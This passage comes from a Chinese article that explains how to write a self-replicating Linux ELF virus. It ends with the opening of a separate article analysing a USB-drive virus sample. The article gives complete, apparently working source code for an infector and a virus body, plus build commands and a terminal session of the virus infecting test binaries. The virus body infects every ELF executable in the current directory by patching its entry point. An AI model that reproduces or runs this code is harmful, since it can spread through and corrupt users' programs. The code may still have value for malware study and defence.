0x08048cc6
: lea 0x4e(%esp),%ebx <-- 作为参数使用
0x08048cca
: mov $0x5,%eax
0x08048ccf
: mov %ecx,%edx
0x08048cd1
: int $0x80 <-- g_open系统调用
...
从注释可以看出，加入了这段代码后，程序编译正确，避免了这个编译器bug。
6 通过C语言和inline保证病毒代码的可读性和可移植性
用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差，这也是使用汇编语言写
程序的一个普遍的缺点。
在这个linux病毒原型代码了主体使用的都是C语言，只有极少部分由于C语言本身的
限制而不得不使用gcc嵌入汇编。对于C语言部分，也尽量是用inline函数，保证代码
层次分明，保证可读性。
7 病毒代码复制时如何获得自己的起始地址？
虽然，病毒代码部分向ELF Infector提供了代码的起始地址，保证了生成第一个带毒
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
时却无法使用这个地址，因为它的代码位置已经受到了宿主的影响，这时它需要重新
定位自己的起始位置。
在写这个病毒原型时，我并没有参考过其它病毒的代码，因此这里采用的也许并
不是一个最好的方法：
/* Get start address of virus code */
__asm__ volatile (
“jmp get_start_addr\\n”
“infect_start:\\n\\t”
“popl %0\\n\\t”
:“=m” (para_code_start_addr)
:);
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
... /* c代码 */
...
__asm__ volatile (
...
“get_start_addr:\\n\\t”
“call infect_start\\n”
“return:\\n\\t”
“push $0xAABBCCDD\\n\\t” /* push ret_addr */
“ret\\n”
::);
通过缓冲区溢出中的一个技巧，jmp/call组合来得到push $0xAABBCCDD指令的地址。
这个地址是0xAABBCCDD地址向后一个push指令，而0xAABBCCDD的地址就是那个用于
存放病毒代码返回地址的地址，这个地址相对于病毒代码起始地址的偏移我们是知道
的，就是病毒代码函数向ELF Infector接口提供的那个宏定义的值：
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
这样病毒代码在当前宿主中的位置就可以得到了（注意从汇编指令出来后，
para_code_start_addr中存放的是0xAABBCCDD的地址，我们减去偏移再减
一个push指令的长度，就是病毒代码的起始地址）:
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
8 抛弃C库
由于病毒代码要能在不同的ELF文件内容工作，所以我们必须要保证所有的相关函数
调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点，即使有的C库函
数是可以完全内联的（完全内联就是说，这个函数本身可以内联，同时其内部没有向
外的函数调用），但是随着编译环境的不同，这点也是不能得到根本保证的，因此我
们有必要选择抛弃C库。
没有了C库，我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有
两种情况，一种是系统调用，另一种是普通的函数。
对于系统调用，我们采用了重新包装的方法：
static inline
g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline
g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline
g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline
g_syscall1(int, close, int, fd);
static inline
g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline
g_syscall2(int, munmap, void *, addr, size_t, len);
static inline
g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline
g_syscall2(int, fstat, int, filedes, struct stat *, buf);
并且修改了syscall包装的宏定义，如
#define g__syscall_return(type, res) \\
do { \\
if ((unsigned long)(res) >= (unsigned long)(-125)) { \\
res = -1; \\
} \\
return (type) (res); \\
} while (0)
#define g_syscall0(type,name) \\
type g_##name(void) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name)); \\
g__syscall_return(type,__res); \\
}
对于普通的函数，直接复制一份函数定义：
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
“rep ; movsl\\n\\t”
“testb $2,%b4\\n\\t”
“je 1f\\n\\t”
“movsw\\n”
“1:\\ttestb $1,%b4\\n\\t”
“je 2f\\n\\t”
“movsb\\n”
“2:”
: “=&c” (d0), “=&D” (d1), “=&S” (d2)
:“0” (n/4), “q” (n),“1” ((long) to),“2” ((long) from)
: “memory”);
return (to);
}
9 保证病毒代码的瘦身需要
为了保证病毒代码体积不至于过于庞大，影响病毒代码的感染，编写代码时也要注意
代码体积问题。由于采用C代码的方式，一些函数调用都是内联的方式，因此每多一个
调用都会引起代码体积的增加。
在进行ELF文件读写更是如此，read/write被频繁的调用。为了减小这方面的影响，对
目标ELF文件进行了一个mmap处理，这样地址空间直接被映射到文件，就消除了读目标
文件时所要做的read调用，节省了一些空间：
ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
goto err;
}
当前的代码都是用C编写，这样很难象汇编代码那样进行更高程度的精简，不过目前的
代码体积还在合理的范围，
在调试状态和标准状态分别是1744和1248
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif
10 数据结构的不一致
与C库的代码调用类似，我们使用的头文件中有一些数据类型的定义是经过
包装的，与系统调用中使用的并不相同。代码相关的两个数据结构，单独提取了出来。
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* We must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
五、** 在一个新的编译环境下的调试方法
grip2@linux:~/tmp/virus>ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
调整Makefile文件，将编译模式改为调试模式，即关掉-DNDEBUG选项
grip2@linux:~/tmp/virus>cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
编译代码
grip2@linux:~/tmp/virus>make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先获取病毒代码长度，然后调整gvirus.c中的#define PARACODE_LENGTH定义
grip2@linux:~/tmp/virus>./gei -l <-- 这里获取病毒代码的长度
Parasite code length: 1744
获取病毒代码开始位置和0xaabbccdd的地址，计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus>objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus>objdump -d gei|grep “
”
08048d80
:
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus>objdump -d gei|grep “
:”
08048d80
:
0x8049427与0x8048d80相减即获得我们需要的偏移，
用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
重新编译
grip2@linux:~/tmp/virus>make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus>make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus>ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
建立一个测试目录，测试一下
grip2@linux:~/tmp/virus>mkdir test
grip2@linux:~/tmp/virus>cp gei foo test
grip2@linux:~/tmp/virus>cd test
grip2@linux:~/tmp/virus/test>ls
gei foo
grip2@linux:~/tmp/virus/test>cp foo h
制作带毒程序
grip2@linux:~/tmp/virus/test>./gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test>ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
运行带毒程序
grip2@linux:~/tmp/virus/test>./h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test>ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
测试上面带毒程序运行后，是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test>./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point
OK，成功
grip2@linux:~/tmp/virus/test>cp ../foo hh
grip2@linux:~/tmp/virus/test>ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test>./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>
六、** 最后
由于我既不是一个virus coder也不是一个anti-virus coder，所以对病毒
技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确，分析不够到
位，还请指正，谢谢。
七、** 参考文献
1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》
2 ELF文档
3 更多的安全技术交流
www.linuxforum.net/forum/showflat.php?Cat=&Board=security&
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=
八、** 附录 - ELF文件感染工具和病毒原型源代码
------------------------------ g-elf_infector.c ------------------------------
/*
* gei - ELF Infector v0.0.2 (2004)
* written by grip2
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include “gvirus.h”
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset);
int main(int argc, char *argv[])
{
#define MAX_FILENAME_LEN 256
char backup[MAX_FILENAME_LEN*4];
char restore[MAX_FILENAME_LEN*4];
if (argc != 2) {
fprintf(stderr,
“gei - ELF Infector v0.0.2 written by grip2
fprintf(stderr, “Usage: %s
return 1;
}
if (strcmp(argv[1], “-l”) == 0) {
fprintf(stderr, “Parasite code length: %d\\n”,
¶site_code_end - ¶site_code);
return 1;
}
if (strlen(argv[1]) >MAX_FILENAME_LEN) {
fprintf(stderr, “filename too long!\\n”);
return 1;
}
sprintf(backup, “cp -f %s .backup.%s\\n”, argv[1], argv[1]);
sprintf(restore, “cp -f .backup.%s %s\\n”, argv[1], argv[1]);
system(backup);
if (elf_infect(argv[1], ¶site_code,
¶site_code_end - ¶site_code,
PARACODE_RETADDR_ADDR_OFFSET) < 0) {
system(restore);
return 1;
}
return 0;
}
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_para_code[PAGE_SIZE];
char *tmpfile;
tmpfile = tempnam(NULL, “infector”);
fd = open(filename, O_RDWR);
if (fd == -1) {
perror(filename);
goto err;
}
if (fstat(fd, &stat) == -1) {
perror(“fstat”);
goto err;
}
#ifndef NDEBUG
printf(“file size: %lu\\n”, stat.st_size);
#endif
ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
perror(“mmap ehdr”);
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
fprintf(stderr, “File type not supported\\n”);
goto err;
}
#ifndef NDEBUG
printf(“e_phoff: %08x\\ne_shoff: %08x\\n”,
ehdr->e_phoff, ehdr->e_shoff);
printf(“e_phentsize: %08x\\n”, ehdr->e_phentsize);
printf(“e_phnum: %08x\\n”, ehdr->e_phnum);
printf(“e_shentsize: %08x\\n”, ehdr->e_shentsize);
printf(“e_shnum: %08x\\n”, ehdr->e_shnum);
#endif
align_code_size = PAGE_ALIGN(para_code_size);
/* Get program header and section header start address */
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* Locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1) {
fprintf(stderr, “Invalid e_phnum, text segment not found.\\n”);
goto err;
}
if (phdr[txt_index].p_type == PT_LOAD
&& phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
#ifndef NDEBUG
printf(“text segment file offset: %u\\n”, phdr[txt_index].p_offset);
#endif
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
>phdr[txt_index+1].p_vaddr) {
fprintf(stderr, “Better luck next file :-)\\n”);
goto err;
}
break;
}
txt_index++;
}
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* Increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr.p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr.p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr.sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr.sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
printf(“[%d sections patched]\\n”, i-1);
}
}
}
/* Increase p_shoff in the ELF header */
ehdr->e_shoff += align_code_size;
/* Make a new file */
tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode);
if (tmp_fd == -1) {
perror(“open”);
goto err;
}
size = new_code_pos - (void *) ehdr;
if (write(tmp_fd, ehdr, size) != size) {
perror(“write”);
goto err;
}
memcpy(tmp_para_code, para_code, para_code_size);
memcpy(tmp_para_code + retaddr_addr_offset,
&org_entry, sizeof(org_entry));
if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) {
perror(“write”);
goto err;
}
if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
perror(“write”);
goto err;
}
close(tmp_fd);
munmap(ehdr, stat.st_size);
close(fd);
if (rename(tmpfile, filename) == -1) {
perror(“rename”);
goto err;
}
return 0;
err:
if (tmp_fd != -1)
close(tmp_fd);
if (ehdr)
munmap(ehdr, stat.st_size);
if (fd != -1)
close(fd);
return -1;
}
------------------------------ g-elf_infector.c ------------------------------
------------------------------ gvirus.h ------------------------------
#ifndef _G2_PARASITE_CODE_
#define _G2_PARASITE_CODE_
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
void parasite_code(void);
void parasite_code_end(void);
#endif
------------------------------ gvirus.h ------------------------------
------------------------------ gvirus.c ------------------------------
/*
* virus code in C (2004)
* written by grip2
*/
#include “gsyscall.h”
#include “gvirus.h”
#include
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif
#ifndef NDEBUG
#define V_DEBUG_WRITE(...) \\
do {\\
g_write(__VA_ARGS__);\\
} while(0)
#else
#define V_DEBUG_WRITE(...)
#endif
static inline int infect_virus(
const char *file,
void *v_code,
unsigned int v_code_size,
unsigned long v_retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_v_code[PAGE_SIZE];
char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\\0'};
#ifndef NDEBUG
char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
's','u','p','p','o','r','t','e','d','\\n','\\0'};
char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
'n','e','x','t',' ','f','i','l','e','\\n','\\0'};
#endif
fd = g_open(file, O_RDWR, 0);
if (fd == -1) {
goto err;
}
if (g_fstat(fd, &stat) == -1) {
goto err;
}
ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
goto err;
}
align_code_size = PAGE_ALIGN(v_code_size);
/* Get program header and section header start address */
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* Locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1)
goto err;
if (phdr[txt_index].p_type == PT_LOAD
&& phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
>phdr[txt_index+1].p_vaddr) {
V_DEBUG_WRITE(1, &luck, sizeof(luck));
goto err;
}
break;
}
txt_index++;
}
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* Increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr.p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr.p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr.sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr.sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
}
}
}
/* Increase p_shoff in the ELF header */
ehdr->e_shoff += align_code_size;
/* Make a new file */
tmp_fd = g_open(tmpfile, O_WRONLY|O_CREAT|O_TRUNC, stat.st_mode);
if (tmp_fd == -1) {
goto err;
}
size = new_code_pos - (void *) ehdr;
if (g_write(tmp_fd, ehdr, size) != size)
goto err;
__memcpy(tmp_v_code, v_code, v_code_size);
__memcpy(tmp_v_code + v_retaddr_addr_offset, &org_entry, sizeof(org_entry));
if (g_write(tmp_fd, tmp_v_code, align_code_size) != align_code_size) {
goto err;
}
if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
goto err;
}
g_close(tmp_fd);
g_munmap(ehdr, stat.st_size);
g_close(fd);
if (g_rename(tmpfile, file) == -1) {
goto err;
}
return 0;
err:
if (tmp_fd != -1)
g_close(tmp_fd);
if (ehdr)
g_munmap(ehdr, stat.st_size);
if (fd != -1)
g_close(fd);
return -1;
}
static inline void virus_code(void)
{
char dirdata[4096];
struct dirent *dirp;
int curfd;
int nbyte, c;
unsigned long para_code_start_addr;
__asm__ volatile (
“push %%eax\\n\\t”
“push %%ecx\\n\\t”
“push %%edx\\n\\t”
::);
char curdir[2] = {'.', 0};
char newline = '\\n';
curdir[0] = '.';
curdir[1] = 0;
newline = '\\n';
if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
goto out;
/* Get start address of virus code */
__asm__ volatile (
“jmp get_start_addr\\n”
“infect_start:\\n\\t”
“popl %0\\n\\t”
:“=m” (para_code_start_addr)
:);
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
/* Infecting */
while ((nbyte = g_getdents(curfd, (struct dirent *)
&dirdata, sizeof(dirdata))) >0) {
c = 0;
dirp = (struct dirent *) &dirdata;
do {
V_DEBUG_WRITE(1, dirp->d_name, dirp->d_reclen - (unsigned long)
&(((struct dirent *) 0)->d_name));
V_DEBUG_WRITE(1, &newline, sizeof(newline));
infect_virus(dirp->d_name,
(void *) para_code_start_addr,
PARACODE_LENGTH,
PARACODE_RETADDR_ADDR_OFFSET);
c += dirp->d_reclen;
if (c >= nbyte)
break;
dirp = (struct dirent *)((char *)dirp + dirp->d_reclen);
} while (1);
}
g_close(curfd);
out:
__asm__ volatile (
“popl %%edx\\n\\t”
“popl %%ecx\\n\\t”
“popl %%eax\\n\\t”
“addl $0x102c, %%esp\\n\\t”
“popl %%ebx\\n\\t”
“popl %%esi\\n\\t”
“popl %%edi\\n\\t”
“popl %%ebp\\n\\t”
“jmp return\\n”
“get_start_addr:\\n\\t”
“call infect_start\\n”
“return:\\n\\t”
“push $0xAABBCCDD\\n\\t” /* push ret_addr */
“ret\\n”
::);
}
void parasite_code(void)
{
virus_code();
}
void parasite_code_end(void) {parasite_code();}
------------------------------ gvirus.c ------------------------------
------------------------------ gunistd.h ------------------------------
#ifndef _G2_UNISTD_
#define _G2_UNISTD_
#define g__syscall_return(type, res) \\
do { \\
if ((unsigned long)(res) >= (unsigned long)(-125)) { \\
res = -1; \\
} \\
return (type) (res); \\
} while (0)
#define g_syscall0(type,name) \\
type g_##name(void) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name)); \\
g__syscall_return(type,__res); \\
}
#define g_syscall1(type,name,type1,arg1) \\
type g_##name(type1 arg1) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name),“b” ((long)(arg1))); \\
g__syscall_return(type,__res); \\
}
#define g_syscall2(type,name,type1,arg1,type2,arg2) \\
type g_##name(type1 arg1,type2 arg2) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name),“b” ((long)(arg1)),“c” ((long)(arg2))); \\
g__syscall_return(type,__res); \\
}
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \\
type g_##name(type1 arg1,type2 arg2,type3 arg3) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name),“b” ((long)(arg1)),“c” ((long)(arg2)), \\
“d” ((long)(arg3))); \\
g__syscall_return(type,__res); \\
}
#define g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \\
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name),“b” ((long)(arg1)),“c” ((long)(arg2)), \\
“d” ((long)(arg3)),“S” ((long)(arg4))); \\
g__syscall_return(type,__res); \\
}
#define g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \\
type5,arg5) \\
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \\
{ \\
long __res; \\
__asm__ volatile (“int $0x80” \\
: “=a” (__res) \\
: “0” (__NR_##name),“b” ((long)(arg1)),“c” ((long)(arg2)), \\
“d” ((long)(arg3)),“S” ((long)(arg4)),“D” ((long)(arg5))); \\
g__syscall_return(type,__res); \\
}
#define g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \\
type5,arg5,type6,arg6) \\
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \\
{ \\
long __res; \\
__asm__ volatile (“push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp” \\
: “=a” (__res) \\
: “i” (__NR_##name),“b” ((long)(arg1)),“c” ((long)(arg2)), \\
“d” ((long)(arg3)),“S” ((long)(arg4)),“D” ((long)(arg5)), \\
“0” ((long)(arg6))); \\
g__syscall_return(type,__res); \\
}
#endif /* _G2_UNISTD_ */
------------------------------ gunistd.h ------------------------------
------------------------------ gsyscall.h ------------------------------
#ifndef _G2_SYSCALL_
#define _G2_SYSCALL_
#include
#include
#include
#include
#include “gunistd.h”
#define NULL 0
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* We must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline g_syscall1(int, close, int, fd);
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline g_syscall2(int, munmap, void *, addr, size_t, len);
static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf);
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
“rep ; movsl\\n\\t”
“testb $2,%b4\\n\\t”
“je 1f\\n\\t”
“movsw\\n”
“1:\\ttestb $1,%b4\\n\\t”
“je 2f\\n\\t”
“movsb\\n”
“2:”
: “=&c” (d0), “=&D” (d1), “=&S” (d2)
:“0” (n/4), “q” (n),“1” ((long) to),“2” ((long) from)
: “memory”);
return (to);
}
#endif /* _G2_SYSCALL_ */
------------------------------ gsyscall.h ------------------------------
------------------------------ foo.c ------------------------------
#include
int main()
{
puts(“real elf point”);
return 0;
}
------------------------------ foo.c ------------------------------
------------------------------ Makefile ------------------------------
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall -DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall -DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
------------------------------ Makefile ------------------------------
篇6：一个U盘病毒简单分析病毒防范
U盘这个移动存储设备由于体积小、容量大、便于携带等优点，给人们的存储数据带来了很大的便利，但正是由于这种便利，也给病毒有了可乘之机，你是否有过拿着U盘到外面打印照片，回来再使用U盘过程中，发现自己的电脑一下就中毒了的经历呢？
U盘病毒对于局域网环境的企业来说也是一个很头疼的事情，由于员工随意插拔使用U盘，经常导致U盘病毒在企业局域网环境下肆意泛滥，给企业网管员带来了不小的麻烦。今天我们分析的这个U盘病毒，会将U盘上的数据隐藏，并会在U盘上生成一个恶意的快捷方式，只要我们打开这个快捷方式，就会触发病毒执行。
病毒样本介绍
先来看一下该病毒样本的相关信息：
File：~%PHENOVECNYE.ini
Size：23M
MD5：69425684F5C155AAD52D0A6C8E41E2FA
